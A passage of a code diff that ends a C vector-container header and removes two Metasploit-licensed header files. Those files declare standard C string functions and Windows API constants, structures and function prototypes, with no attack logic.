* Put an element at pos.
|
||||
* Note: If pos is outside the vector capacity, we resize it accordingly
|
||||
*/
|
||||
#define Vector_Put(v, pos, elem) __vector_PutPtr(v, pos, elem ? &(typeof(elem)){elem} : NULL)
|
||||
|
||||
/* Push an element at the end of v, resizing it if needed. This macro wraps
|
||||
* __vector_PushPtr */
|
||||
#define Vector_Push(v, elem) __vector_PushPtr(v, elem ? &(typeof(elem)){elem} : NULL)
|
||||
|
||||
int __vector_PushPtr(Vector *v, void *elem);
|
||||
|
||||
/* resize capacity of v */
|
||||
int Vector_Resize(Vector *v, size_t newcap);
|
||||
|
||||
/* return the used size of the vector, regardless of capacity */
|
||||
int Vector_Size(Vector *v);
|
||||
|
||||
/* return the actual capacity */
|
||||
int Vector_Cap(Vector *v);
|
||||
|
||||
/* free the vector and the underlying data. Does not release its elements if
|
||||
* they are pointers*/
|
||||
void Vector_Free(Vector *v);
|
||||
|
||||
int __vecotr_PutPtr(Vector *v, size_t pos, void *elem);
|
||||
|
||||
#endif
|
||||
@@ -1,27 +0,0 @@
|
||||
//
|
||||
// License:
|
||||
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
|
||||
//
|
||||
|
||||
void *memchr(const void*, int, size_t);
|
||||
int memcmp(const void*, const void*, size_t);
|
||||
void *memcpy(void*, const void*, size_t);
|
||||
void *memmove(void*, const void*, size_t);
|
||||
void *memset(void*, int, size_t);
|
||||
char *strcat(char*, const char*);
|
||||
char *strncat(char*, const char*, size_t);
|
||||
char *strchr(const char*, int);
|
||||
int strcmp(const char*, const char*);
|
||||
int strncmp(const char*, const char*, size_t);
|
||||
int strcoll(const char*, const char*);
|
||||
char *strcpy(char*, const char*);
|
||||
char *strncpy(char*, const char*, size_t);
|
||||
size_t strcspn(const char*, const char*);
|
||||
char *strerror(int);
|
||||
size_t strlen(const char*);
|
||||
char *strpbrk(const char*, const char*);
|
||||
char *strrchr(const char*, int);
|
||||
size_t strspn(const char*, const char*);
|
||||
char *strstr(const char*, const char*);
|
||||
char *strtok(char*, const char*);
|
||||
size_t strxfrm(char*, const char*, size_t);
|
||||
@@ -1,555 +0,0 @@
|
||||
//
|
||||
// License:
|
||||
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
|
||||
//
|
||||
|
||||
#define MAX_PATH 260
|
||||
#define MEM_COMMIT 0x00001000
|
||||
#define MEM_RESERVE 0x00002000
|
||||
#define MEM_RESET 0x00080000
|
||||
#define MEM_RESET_UNDO 0x1000000
|
||||
#define MEM_LARGE_PAGES 0x20000000
|
||||
#define MEM_PHYSICAL 0x00400000
|
||||
#define MEM_TOP_DOWN 0x00100000
|
||||
#define MEM_WRITE_WATCH 0x00200000
|
||||
#define PAGE_EXECUTE_READWRITE 0x00000040
|
||||
#define HEAP_GENERATE_EXCEPTIONS 0x00000004
|
||||
#define HEAP_NO_SERIALIZE 0x00000001
|
||||
#define HEAP_REALLOC_IN_PLACE_ONLY 0x00000010
|
||||
#define HEAP_ZERO_MEMORY 0x00000008
|
||||
#define STARTF_FORCEONFEEDBACK 0x00000040
|
||||
#define STARTF_FORCEOFFFEEDBACK 0x00000080
|
||||
#define STARTF_PREVENTPINNING 0x00002000
|
||||
#define STARTF_RUNFULLSCREEN 0x00000020
|
||||
#define STARTF_TITLEISAPPID 0x00001000
|
||||
#define STARTF_TITLEISLINKNAME 0x00000800
|
||||
#define STARTF_USECOUNTCHARS 0x00000008
|
||||
#define STARTF_USEFILLATTRIBUTE 0x00000010
|
||||
#define STARTF_USEHOTKEY 0x00000200
|
||||
#define STARTF_USEPOSITION 0x00000004
|
||||
#define STARTF_USESHOWWINDOW 0x00000001
|
||||
#define STARTF_USESIZE 0x00000002
|
||||
#define STARTF_USESTDHANDLES 0x00000100
|
||||
#define GW_CHILD 5
|
||||
#define GW_ENABLEDPOPUP 6
|
||||
#define GW_HWNDFIRST 0
|
||||
#define GW_HWNDLAST 1
|
||||
#define GW_HWNDNEXT 2
|
||||
#define GW_OWNER 4
|
||||
#define MB_ABORTRETRYIGNORE 0x00000002L
|
||||
#define MB_CANCELTRYCONTINUE 0x00000006L
|
||||
#define MB_HELP 0x00004000L
|
||||
#define MB_OK 0x00000000L
|
||||
#define MB_OKCANCEL 0x00000001L
|
||||
#define MB_RETRYCANCEL 0x00000005L
|
||||
#define MB_YESNO 0x00000004L
|
||||
#define MB_YESNOCANCEL 0x00000003L
|
||||
#define MB_ICONEXCLAMATION 0x00000030L
|
||||
#define MB_ICONWARNING 0x00000030L
|
||||
#define MB_ICONINFORMATION 0x00000040L
|
||||
#define MB_ICONASTERISK 0x00000040L
|
||||
#define MB_ICONQUESTION 0x00000020L
|
||||
#define MB_ICONSTOP 0x00000010L
|
||||
#define MB_ICONERROR 0x00000010L
|
||||
#define MB_ICONHAND 0x00000010L
|
||||
#define MB_DEFBUTTON1 0x00000000L
|
||||
#define MB_DEFBUTTON2 0x00000100L
|
||||
#define MB_DEFBUTTON3 0x00000200L
|
||||
#define MB_DEFBUTTON4 0x00000300L
|
||||
#define MB_APPLMODAL 0x00000000L
|
||||
#define MB_SYSTEMMODAL 0x00001000L
|
||||
#define MB_TASKMODAL 0x00002000L
|
||||
#define MB_DEFAULT_DESKTOP_ONLY 0x00020000L
|
||||
#define MB_RIGHT 0x00080000L
|
||||
#define MB_RTLREADING 0x00100000L
|
||||
#define MB_SETFOREGROUND 0x00010000L
|
||||
#define MB_TOPMOST 0x00040000L
|
||||
#define MB_SERVICE_NOTIFICATION 0x00200000L
|
||||
#define IDABORT 3
|
||||
#define IDCANCEL 2
|
||||
#define IDCONTINUE 11
|
||||
#define IDIGNORE 5
|
||||
#define IDNO 7
|
||||
#define IDOK 1
|
||||
#define IDRETRY 4
|
||||
#define IDTRYAGAIN 10
|
||||
#define IDYES 6
|
||||
#define HEAP_CREATE_ENABLE_EXECUTE 0x00040000
|
||||
#define SC_MANAGER_ALL_ACCESS 0xf003f
|
||||
#define SC_MANAGER_CONNECT 1
|
||||
#define SC_MANAGER_CREATE_SERVICE 2
|
||||
#define SC_MANAGER_ENUMERATE_SERVICE 4
|
||||
#define SC_MANAGER_LOCK 8
|
||||
#define SC_MANAGER_QUERY_LOCK_STATUS 16
|
||||
#define SC_MANAGER_MODIFY_BOOT_CONFIG 32
|
||||
#define SERVICE_NO_CHANGE (-1)
|
||||
#define SERVICE_STOPPED 1
|
||||
#define SERVICE_START_PENDING 2
|
||||
#define SERVICE_STOP_PENDING 3
|
||||
#define SERVICE_RUNNING 4
|
||||
#define SERVICE_CONTINUE_PENDING 5
|
||||
#define SERVICE_PAUSE_PENDING 6
|
||||
#define SERVICE_PAUSED 7
|
||||
#define SERVICE_ACCEPT_STOP 1
|
||||
#define SERVICE_ACCEPT_PAUSE_CONTINUE 2
|
||||
#define SERVICE_ACCEPT_SHUTDOWN 4
|
||||
#define SERVICE_CONTROL_STOP 1
|
||||
#define SERVICE_CONTROL_PAUSE 2
|
||||
#define SERVICE_CONTROL_CONTINUE 3
|
||||
#define SERVICE_CONTROL_INTERROGATE 4
|
||||
#define SERVICE_CONTROL_SHUTDOWN 5
|
||||
#define SERVICE_ACTIVE 1
|
||||
#define SERVICE_INACTIVE 2
|
||||
#define SERVICE_STATE_ALL 3
|
||||
#define SERVICE_QUERY_CONFIG 1
|
||||
#define SERVICE_CHANGE_CONFIG 2
|
||||
#define SERVICE_QUERY_STATUS 4
|
||||
#define SERVICE_ENUMERATE_DEPENDENTS 8
|
||||
#define SERVICE_START 16
|
||||
#define SERVICE_STOP 32
|
||||
#define SERVICE_PAUSE_CONTINUE 64
|
||||
#define SERVICE_INTERROGATE 128
|
||||
#define SERVICE_USER_DEFINED_CONTROL 256
|
||||
#define SERVICE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SERVICE_QUERY_CONFIG|SERVICE_CHANGE_CONFIG|SERVICE_QUERY_STATUS|SERVICE_ENUMERATE_DEPENDENTS|SERVICE_START|SERVICE_STOP|SERVICE_PAUSE_CONTINUE|SERVICE_INTERROGATE|SERVICE_USER_DEFINED_CONTROL)
|
||||
#define GHND 0x0042
|
||||
#define GMEM_FIXED 0x0000
|
||||
#define GMEM_MOVEABLE 0x0002
|
||||
#define GMEM_ZEROINIT 0x0040
|
||||
#define GPTR 0x0040
|
||||
#define WH_CALLWNDPROC 4
|
||||
#define WH_CALLWNDPROCRET 12
|
||||
#define WH_CBT 5
|
||||
#define WH_DEBUG 9
|
||||
#define WH_FOREGROUNDIDLE 11
|
||||
#define WH_GETMESSAGE 3
|
||||
#define WH_JOURNALPLAYBACK 1
|
||||
#define WH_JOURNALRECORD 0
|
||||
#define WH_KEYBOARD 2
|
||||
#define WH_KEYBOARD_LL 13
|
||||
#define WH_MOUSE 7
|
||||
#define WH_MOUSE_LL 14
|
||||
#define WH_MSGFILTER -1
|
||||
#define WH_SHELL 10
|
||||
#define WH_SYSMSGFILTER 6
|
||||
#define GENERIC_READ 0x80000000
|
||||
#define GENERIC_WRITE 0x40000000
|
||||
#define GENERIC_EXECUTE 0x20000000
|
||||
#define GENERIC_ALL 0x10000000
|
||||
#define FILE_SHARE_READ 0x00000001
|
||||
#define FILE_SHARE_WRITE 0x00000002
|
||||
#define FILE_SHARE_DELETE 0x00000004
|
||||
#define CREATE_NEW 1
|
||||
#define CREATE_ALWAYS 2
|
||||
#define OPEN_EXISTING 3
|
||||
#define OPEN_ALWAYS 4
|
||||
#define TRUNCATE_EXISTING 5
|
||||
#define FILE_ATTRIBUTE_READONLY 0x00000001
|
||||
#define FILE_ATTRIBUTE_NORMAL 0x00000080
|
||||
#define FILE_ATTRIBUTE_TEMPORARY 0x00000100
|
||||
#define FILE_FLAG_WRITE_THROUGH 0x80000000
|
||||
#define FILE_FLAG_NO_BUFFERING 0x20000000
|
||||
#define FILE_FLAG_RANDOM_ACCESS 0x10000000
|
||||
#define FILE_FLAG_SEQUENTIAL_SCAN 0x08000000
|
||||
#define FILE_FLAG_DELETE_ON_CLOSE 0x04000000
|
||||
#define FILE_FLAG_OVERLAPPED 0x40000000
|
||||
#define FILE_ATTRIBUTE_HIDDEN 0x00000002
|
||||
#define FILE_ATTRIBUTE_SYSTEM 0x00000004
|
||||
#define FILE_ATTRIBUTE_DIRECTORY 0x00000010
|
||||
#define FILE_ATTRIBUTE_ARCHIVE 0x00000020
|
||||
#define FILE_ATTRIBUTE_DEVICE 0x00000040
|
||||
#define ERROR_FILE_NOT_FOUND 2L
|
||||
#define ERROR_NO_MORE_FILES 18L
|
||||
#define INVALID_HANDLE_VALUE ((HANDLE) -1)
|
||||
#define INVALID_FILE_SIZE ((DWORD)0xFFFFFFFF)
|
||||
#define FILE_NAME_NORMALIZED 0x0
|
||||
#define FILE_NAME_OPENED 0x8
|
||||
#define VOLUME_NAME_DOS 0x0
|
||||
#define VOLUME_NAME_GUID 0x1
|
||||
#define VOLUME_NAME_NONE 0x4
|
||||
#define VOLUME_NAME_NT 0x2
|
||||
#define SERVICE_FILE_SYSTEM_DRIVER 0x00000002
|
||||
#define SERVICE_KERNEL_DRIVER 0x00000001
|
||||
#define SERVICE_WIN32_OWN_PROCESS 0x00000010
|
||||
#define SERVICE_WIN32_SHARE_PROCESS 0x00000020
|
||||
#define SERVICE_USER_OWN_PROCESS 0x00000050
|
||||
#define SERVICE_USER_SHARE_PROCESS 0x00000060
|
||||
#define SERVICE_INTERACTIVE_PROCESS 0x00000100
|
||||
#define SERVICE_CONTINUE_PENDING 0x00000005
|
||||
#define SERVICE_PAUSE_PENDING 0x00000006
|
||||
#define SERVICE_PAUSED 0x00000007
|
||||
#define SERVICE_RUNNING 0x00000004
|
||||
#define SERVICE_START_PENDING 0x00000002
|
||||
#define SERVICE_STOP_PENDING 0x00000003
|
||||
#define SERVICE_STOPPED 0x00000001
|
||||
#define SERVICE_AUTO_START 0x00000002
|
||||
#define SERVICE_BOOT_START 0x00000000
|
||||
#define SERVICE_DEMAND_START 0x00000003
|
||||
#define SERVICE_DISABLED 0x00000004
|
||||
#define SERVICE_SYSTEM_START 0x00000001
|
||||
#define SERVICE_ERROR_CRITICAL 0x00000003
|
||||
#define SERVICE_ERROR_IGNORE 0x00000000
|
||||
#define SERVICE_ERROR_NORMAL 0x00000001
|
||||
#define SERVICE_ERROR_SEVERE 0x00000002
|
||||
#define SERVICE_DRIVER 0x0000000B
|
||||
#define SERVICE_FILE_SYSTEM_DRIVER 0x00000002
|
||||
#define SERVICE_KERNEL_DRIVER 0x00000001
|
||||
#define SERVICE_WIN32 0x00000030
|
||||
#define SERVICE_WIN32_OWN_PROCESS 0x00000010
|
||||
#define SERVICE_WIN32_SHARE_PROCESS 0x00000020
|
||||
#define MAKEWORD(a,b) ((WORD)(((BYTE)(a))|(((WORD)((BYTE)(b)))<<8)))
|
||||
#define RtlZeroMemory(Destination,Length) memset((Destination),0,(Length))
|
||||
#define ZeroMemory RtlZeroMemory
|
||||
|
||||
typedef struct _SECURITY_ATTRIBUTES {
|
||||
DWORD nLength;
|
||||
LPVOID lpSecurityDescriptor;
|
||||
BOOL bInheritHandle;
|
||||
} SECURITY_ATTRIBUTES , *LPSECURITY_ATTRIBUTES;
|
||||
|
||||
typedef struct _LPTHREAD_START_ROUTINE {
|
||||
LPVOID lpThreadParameter;
|
||||
} LPTHREAD_START_ROUTINE, *LPTHREAD_START_ROUTINE;
|
||||
|
||||
typedef struct _STARTUPINFO {
|
||||
DWORD cb;
|
||||
LPTSTR lpReserved;
|
||||
LPTSTR lpDesktop;
|
||||
LPTSTR lpTitle;
|
||||
DWORD dwX;
|
||||
DWORD dwY;
|
||||
DWORD dwXSize;
|
||||
DWORD dwYSize;
|
||||
DWORD dwXCountChars;
|
||||
DWORD dwYCountChars;
|
||||
DWORD dwFillAttribute;
|
||||
DWORD dwFlags;
|
||||
WORD wShowWindow;
|
||||
WORD cbReserved2;
|
||||
LPBYTE lpReserved2;
|
||||
HANDLE hStdInput;
|
||||
HANDLE hStdOutput;
|
||||
HANDLE hStdError;
|
||||
} STARTUPINFO, *LPSTARTUPINFO;
|
||||
|
||||
typedef struct _PROCESS_INFORMATION {
|
||||
HANDLE hProcess;
|
||||
HANDLE hThread;
|
||||
DWORD dwProcessId;
|
||||
DWORD dwThreadId;
|
||||
} PROCESS_INFORMATION, *LPPROCESS_INFORMATION;
|
||||
|
||||
typedef struct _OVERLAPPED {
|
||||
ULONG_PTR Internal;
|
||||
ULONG_PTR InternalHigh;
|
||||
union {
|
||||
struct {
|
||||
DWORD Offset;
|
||||
DWORD OffsetHigh;
|
||||
};
|
||||
PVOID Pointer;
|
||||
};
|
||||
HANDLE hEvent;
|
||||
} OVERLAPPED, *LPOVERLAPPED;
|
||||
|
||||
typedef DWORD SERVICE_STATUS_HANDLE;
|
||||
typedef VOID(WINAPI *LPHANDLER_FUNCTION)(DWORD);
|
||||
|
||||
typedef void (WINAPI *LPSERVICE_MAIN_FUNCTION)(DWORD,LPSTR*);
|
||||
|
||||
typedef struct _SERVICE_TABLE_ENTRY {
|
||||
LPSTR lpServiceName;
|
||||
LPSERVICE_MAIN_FUNCTION lpServiceProc;
|
||||
} SERVICE_TABLE_ENTRY,*LPSERVICE_TABLE_ENTRY;
|
||||
|
||||
typedef SERVICE_TABLE_ENTRY SERVICE_TABLE_ENTRY,*LPSERVICE_TABLE_ENTRY;
|
||||
|
||||
typedef enum _SC_ENUM_TYPE {
|
||||
SC_ENUM_PROCESS_INFO = 0
|
||||
} SC_ENUM_TYPE;
|
||||
|
||||
typedef enum _HEAP_INFORMATION_CLASS {
|
||||
HeapCompatibilityInformation = 0,
|
||||
HeapEnableTerminationOnCorruption = 1
|
||||
} HEAP_INFORMATION_CLASS;
|
||||
|
||||
typedef struct _FILETIME {
|
||||
DWORD dwLowDateTime;
|
||||
DWORD dwHighDateTime;
|
||||
} FILETIME, *PFILETIME;
|
||||
|
||||
typedef struct _WIN32_FIND_DATA {
|
||||
DWORD dwFileAttributes;
|
||||
FILETIME ftCreationTime;
|
||||
FILETIME ftLastAccessTime;
|
||||
FILETIME ftLastWriteTime;
|
||||
DWORD nFileSizeHigh;
|
||||
DWORD nFileSizeLow;
|
||||
DWORD dwReserved0;
|
||||
DWORD dwReserved1;
|
||||
TCHAR cFileName[MAX_PATH];
|
||||
TCHAR cAlternateFileName[14];
|
||||
} WIN32_FIND_DATA, *PWIN32_FIND_DATA, *LPWIN32_FIND_DATA;
|
||||
|
||||
typedef struct tagPOINT {
|
||||
LONG x;
|
||||
LONG y;
|
||||
} POINT, *PPOINT;
|
||||
|
||||
typedef struct tagMSG {
|
||||
HWND hwnd;
|
||||
UINT message;
|
||||
WPARAM wParam;
|
||||
LPARAM lParam;
|
||||
DWORD time;
|
||||
POINT pt;
|
||||
} MSG, *PMSG, *LPMSG;
|
||||
|
||||
typedef struct _BY_HANDLE_FILE_INFORMATION {
|
||||
DWORD dwFileAttributes;
|
||||
FILETIME ftCreationTime;
|
||||
FILETIME ftLastAccessTime;
|
||||
FILETIME ftLastWriteTime;
|
||||
DWORD dwVolumeSerialNumber;
|
||||
DWORD nFileSizeHigh;
|
||||
DWORD nFileSizeLow;
|
||||
DWORD nNumberOfLinks;
|
||||
DWORD nFileIndexHigh;
|
||||
DWORD nFileIndexLow;
|
||||
} BY_HANDLE_FILE_INFORMATION, *PBY_HANDLE_FILE_INFORMATION, *LPBY_HANDLE_FILE_INFORMATION;
|
||||
|
||||
typedef struct _SERVICE_STATUS {
|
||||
DWORD dwServiceType;
|
||||
DWORD dwCurrentState;
|
||||
DWORD dwControlsAccepted;
|
||||
DWORD dwWin32ExitCode;
|
||||
DWORD dwServiceSpecificExitCode;
|
||||
DWORD dwCheckPoint;
|
||||
DWORD dwWaitHint;
|
||||
} SERVICE_STATUS, *LPSERVICE_STATUS;
|
||||
|
||||
typedef struct _ENUM_SERVICE_STATUS {
|
||||
LPTSTR lpServiceName;
|
||||
LPTSTR lpDisplayName;
|
||||
SERVICE_STATUS ServiceStatus;
|
||||
} ENUM_SERVICE_STATUS, *LPENUM_SERVICE_STATUS;
|
||||
|
||||
typedef struct _GUID {
|
||||
DWORD Data1;
|
||||
WORD Data2;
|
||||
WORD Data3;
|
||||
BYTE Data4[8];
|
||||
} GUID;
|
||||
|
||||
typedef VOID (CALLBACK *LPOVERLAPPED_COMPLETION_ROUTINE)(DWORD,DWORD,LPOVERLAPPED);
|
||||
|
||||
typedef enum _PROCESSINFOCLASS {
|
||||
ProcessBasicInformation = 0,
|
||||
ProcessQuotaLimits = 1,
|
||||
ProcessIoCounters = 2,
|
||||
ProcessVmCounters = 3,
|
||||
ProcessTimes = 4,
|
||||
ProcessBasePriority = 5,
|
||||
ProcessRaisePriority = 6,
|
||||
ProcessDebugPort = 7,
|
||||
ProcessExceptionPort = 8,
|
||||
ProcessAccessToken = 9,
|
||||
ProcessLdtInformation = 10,
|
||||
ProcessLdtSize = 11,
|
||||
ProcessDefaultHardErrorMode = 12,
|
||||
ProcessIoPortHandlers = 13,
|
||||
ProcessPooledUsageAndLimits = 14,
|
||||
ProcessWorkingSetWatch = 15,
|
||||
ProcessUserModeIOPL = 16,
|
||||
ProcessEnableAlignmentFaultFixup = 17,
|
||||
ProcessPriorityClass = 18,
|
||||
ProcessWx86Information = 19,
|
||||
ProcessHandleCount = 20,
|
||||
ProcessAffinityMask = 21,
|
||||
ProcessPriorityBoost = 22,
|
||||
ProcessDeviceMap = 23,
|
||||
ProcessSessionInformation = 24,
|
||||
ProcessForegroundInformation = 25,
|
||||
ProcessWow64Information = 26,
|
||||
ProcessImageFileName = 27,
|
||||
ProcessLUIDDeviceMapsEnabled = 28,
|
||||
ProcessBreakOnTermination = 29,
|
||||
ProcessDebugObjectHandle = 30,
|
||||
ProcessDebugFlags = 31,
|
||||
ProcessHandleTracing = 32,
|
||||
ProcessIoPriority = 33,
|
||||
ProcessExecuteFlags = 34,
|
||||
ProcessTlsInformation = 35,
|
||||
ProcessCookie = 36,
|
||||
ProcessImageInformation = 37,
|
||||
ProcessCycleTime = 38,
|
||||
ProcessPagePriority = 39,
|
||||
ProcessInstrumentationCallback = 40,
|
||||
ProcessThreadStackAllocation = 41,
|
||||
ProcessWorkingSetWatchEx = 42,
|
||||
ProcessImageFileNameWin32 = 43,
|
||||
ProcessImageFileMapping = 44,
|
||||
ProcessAffinityUpdateMode = 45,
|
||||
ProcessMemoryAllocationMode = 46,
|
||||
ProcessGroupInformation = 47,
|
||||
ProcessTokenVirtualizationEnabled = 48,
|
||||
ProcessOwnerInformation = 49,
|
||||
ProcessWindowInformation = 50,
|
||||
ProcessHandleInformation = 51,
|
||||
ProcessMitigationPolicy = 52,
|
||||
ProcessDynamicFunctionTableInformation = 53,
|
||||
ProcessHandleCheckingMode = 54,
|
||||
ProcessKeepAliveCount = 55,
|
||||
ProcessRevokeFileHandles = 56,
|
||||
ProcessWorkingSetControl = 57,
|
||||
ProcessHandleTable = 58,
|
||||
ProcessCheckStackExtentsMode = 59,
|
||||
ProcessCommandLineInformation = 60,
|
||||
ProcessProtectionInformation = 61,
|
||||
ProcessMemoryExhaustion = 62,
|
||||
ProcessFaultInformation = 63,
|
||||
ProcessTelemetryIdInformation = 64,
|
||||
ProcessCommitReleaseInformation = 65,
|
||||
ProcessReserved1Information = 66,
|
||||
ProcessReserved2Information = 67,
|
||||
ProcessSubsystemProcess = 68,
|
||||
ProcessInPrivate = 70,
|
||||
ProcessRaiseUMExceptionOnInvalidHandleClose = 71,
|
||||
MaxProcessInfoClass
|
||||
} PROCESSINFOCLASS;
|
||||
|
||||
typedef enum _FINDEX_INFO_LEVELS {
|
||||
FindExInfoStandard,
|
||||
FindExInfoBasic,
|
||||
FindExInfoMaxInfoLevel
|
||||
} FINDEX_INFO_LEVELS;
|
||||
|
||||
typedef enum _FINDEX_SEARCH_OPS {
|
||||
FindExSearchNameMatch,
|
||||
FindExSearchLimitToDirectories,
|
||||
FindExSearchLimitToDevices
|
||||
} FINDEX_SEARCH_OPS;
|
||||
|
||||
WINAPI void OutputDebugString __attribute__((dllimport))(LPCTSTR);
|
||||
WINAPI HGLOBAL GlobalAlloc __attribute__((dllimport))(UINT, size_t);
|
||||
WINAPI LPVOID GlobalLock __attribute__((dllimport))(HGLOBAL);
|
||||
WINAPI BOOL GlobalUnlock __attribute__((dllimport))(HGLOBAL);
|
||||
WINAPI HGLOBAL GlobalReAlloc __attribute__((dllimport))(HGLOBAL, size_t, UINT);
|
||||
WINAPI HGLOBAL GlobalFree __attribute__((dllimport))(HGLOBAL);
|
||||
WINAPI DWORD GetLastError __attribute__((dllimport))(void);
|
||||
WINAPI LPVOID VirtualAlloc __attribute__((dllimport))(LPVOID, size_t, DWORD, DWORD);
|
||||
WINAPI LPVOID VirtualAllocEx __attribute__((dllimport))(HANDLE, LPVOID, size_t, DWORD, DWORD);
|
||||
WINAPI BOOL VirtualProtect __attribute__((dllimport))(LPVOID, size_t, DWORD, PDWORD);
|
||||
WINAPI BOOL VirtualProtectEx __attribute__((dllimport))(HANDLE, LPVOID, size_t, DWORD, PDWORD);
|
||||
WINAPI HANDLE GetProcessHeap __attribute__((dllimport))(void);
|
||||
WINAPI DWORD GetProcessHeaps __attribute__((dllimport))(DWORD, PHANDLE);
|
||||
WINAPI HANDLE HeapCreate __attribute__((dllimport))(DWORD, size_t, size_t);
|
||||
WINAPI LPVOID HeapAlloc __attribute__((dllimport))(HANDLE, DWORD, size_t);
|
||||
WINAPI size_t HeapSize __attribute__((dllimport))(HANDLE, DWORD, LPCVOID);
|
||||
WINAPI LPVOID HeapreAlloc __attribute__((dllimport))(HANDLE, DWORD, LPVOID, size_t);
|
||||
WINAPI BOOL HeapFree __attribute__((dllimport))(HANDLE, DWORD, LPVOID);
|
||||
WINAPI BOOL HeapQueryInformation __attribute__((dllimport))(HANDLE, HEAP_INFORMATION_CLASS, PVOID, size_t, PSIZE_T);
|
||||
WINAPI BOOL HeapSetInformation __attribute__((dllimport))(HANDLE, HEAP_INFORMATION_CLASS, PVOID, size_t);
|
||||
WINAPI BOOL VirtualFreeEx __attribute__((dllimport))(HANDLE, LPVOID, size_t, DWORD);
|
||||
WINAPI void MoveMemory __attribute__((dllimport))(PVOID, void*, size_t);
|
||||
WINAPI BOOL WriteProcessMemory __attribute__((dllimport))(HANDLE, LPVOID, LPCVOID, size_t, size_t*);
|
||||
WINAPI BOOL ReadProcessMemory __attribute__((dllimport))(HANDLE, LPCVOID, LPVOID, size_t, size_t*);
|
||||
WINAPI HANDLE CreateThread __attribute__((dllimport))(LPSECURITY_ATTRIBUTES, size_t, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD );
|
||||
WINAPI HANDLE CreateRemoteThread __attribute__((dllimport))(HANDLE, LPSECURITY_ATTRIBUTES, size_t, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD );
|
||||
WINAPI DWORD GetProcessId __attribute__((dllimport))(HANDLE);
|
||||
WINAPI BOOL CreateProcess __attribute__((dllimport))(LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCTSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);
|
||||
WINAPI BOOL CreateProcessAsUser __attribute__((dllimport))(HANDLE, LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCTSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);
|
||||
WINAPI HANDLE OpenProcess __attribute__((dllimport))(DWORD, BOOL, DWORD);
|
||||
WINAPI void ExitProcess __attribute__((dllimport))(UINT);
|
||||
WINAPI BOOL TerminateProcess __attribute__((dllimport))(UINT);
|
||||
WINAPI DWORD GetTickCount __attribute__((dllimport))(void);
|
||||
WINAPI void Sleep __attribute__((dllimport))(DWORD);
|
||||
WINAPI UINT WinExec __attribute__((dllimport))(LPCSTR, UINT);
|
||||
WINAPI DWORD WaitForSingleObject __attribute__((dllimport))(HANDLE, DWORD);
|
||||
WINAPI FARPROC GetProcAddress __attribute__((dllimport))(HMODULE, LPCSTR);
|
||||
WINAPI HMODULE LoadLibrary __attribute__((dllimport))(LPCTSTR);
|
||||
WINAPI HMODULE GetModuleHandle __attribute__((dllimport))(LPCTSTR);
|
||||
WINAPI HANDLE CreateFile __attribute__((dllimport))(LPCTSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
|
||||
WINAPI BOOL GetFileInformationByHandle __attribute__((dllimport))(HANDLE, LPBY_HANDLE_FILE_INFORMATION);
|
||||
WINAPI DWORD GetFullPathName __attribute__((dllimport))(LPCTSTR, DWORD, LPTSTR, LPTSTR*);
|
||||
WINAPI DWORD GetFileType __attribute__((dllimport))(HANDLE);
|
||||
WINAPI BOOL MoveFile __attribute__((dllimport))(LPCTSTR, LPCTSTR);
|
||||
WINAPI BOOL DeleteFile __attribute__((dllimport))(LPCTSTR);
|
||||
WINAPI BOOL CopyFile __attribute__((dllimport))(LPCTSTR, LPCTSTR, BOOL);
|
||||
WINAPI BOOL WriteFile __attribute__((dllimport))(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
|
||||
WINAPI BOOL ReadFile __attribute__((dllimport))(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
|
||||
WINAPI BOOL ReadFileEx __attribute__((dllimport))(HANDLE, LPVOID, LPOVERLAPPED, LPOVERLAPPED_COMPLETION_ROUTINE);
|
||||
WINAPI DWORD GetFileSize __attribute__((dllimport))(HANDLE, LPDWORD);
|
||||
WINAPI DWORD GetTempPath __attribute__((dllimport))(DWORD, LPTSTR);
|
||||
WINAPI UINT GetTempFileName __attribute__((dllimport))(LPCTSTR, LPCTSTR, UINT, LPTSTR);
|
||||
WINAPI DWORD GetShortPathName __attribute__((dllimport))(LPCTSTR, LPTSTR, DWORD);
|
||||
WINAPI DWORD GetLongPathName __attribute__((dllimport))(LPCTSTR, LPTSTR, DWORD);
|
||||
WINAPI INT GetExpandedName __attribute__((dllimport))(LPTSTR, LPTSTR);
|
||||
WINAPI DWORD GetFinalPathNameByHandle __attribute__((dllimport))(HANDLE, LPTSTR, DWORD, DWORD);
|
||||
WINAPI BOOL LockFile __attribute__((dllimport))(HANDLE, DWORD, DWORD, DWORD, DWORD);
|
||||
WINAPI BOOL UnlockFile __attribute__((dllimport))(HANDLE, DWORD, DWORD, DWORD, DWORD);
|
||||
WINAPI BOOL UnlockFileEx __attribute__((dllimport))(HANDLE, DWORD, DWORD, DWORD, LPOVERLAPPED);
|
||||
WINAPI BOOL FreeLibrary __attribute__((dllimport))(HMODULE);
|
||||
WINAPI DWORD GetModuleFileName __attribute__((dllimport))(HMODULE, LPTSTR, DWORD);
|
||||
WINAPI BOOL CloseHandle __attribute__((dllimport))(HANDLE);
|
||||
WINAPI void DebugBreak __attribute__((dllimport))(void);
|
||||
WINAPI HWND FindWindow __attribute__((dllimport))(LPCTSTR, LPCTSTR);
|
||||
WINAPI HWND FindWindowEx __attribute__((dllimport))(HWND, HWND, LPCTSTR, LPCTSTR);
|
||||
WINAPI HWND GetWindow __attribute__((dllimport))(HWND, UINT);
|
||||
WINAPI HWND GetForegroundWindow __attribute__((dllimport))(void);
|
||||
WINAPI BOOL SetForegroundWindow __attribute__((dllimport))(HWND);
|
||||
WINAPI HWND GetDesktopWindow __attribute__((dllimport))(void);
|
||||
WINAPI HWND SetActiveWindow __attribute__((dllimport))(HWND);
|
||||
WINAPI BOOL IsWindowEnabled __attribute__((dllimport))(HWND);
|
||||
WINAPI HWND SetFocus __attribute__((dllimport))(HWND);
|
||||
WINAPI BOOL MoveWindow __attribute__((dllimport))(HWND, int, int, int, int, BOOL);
|
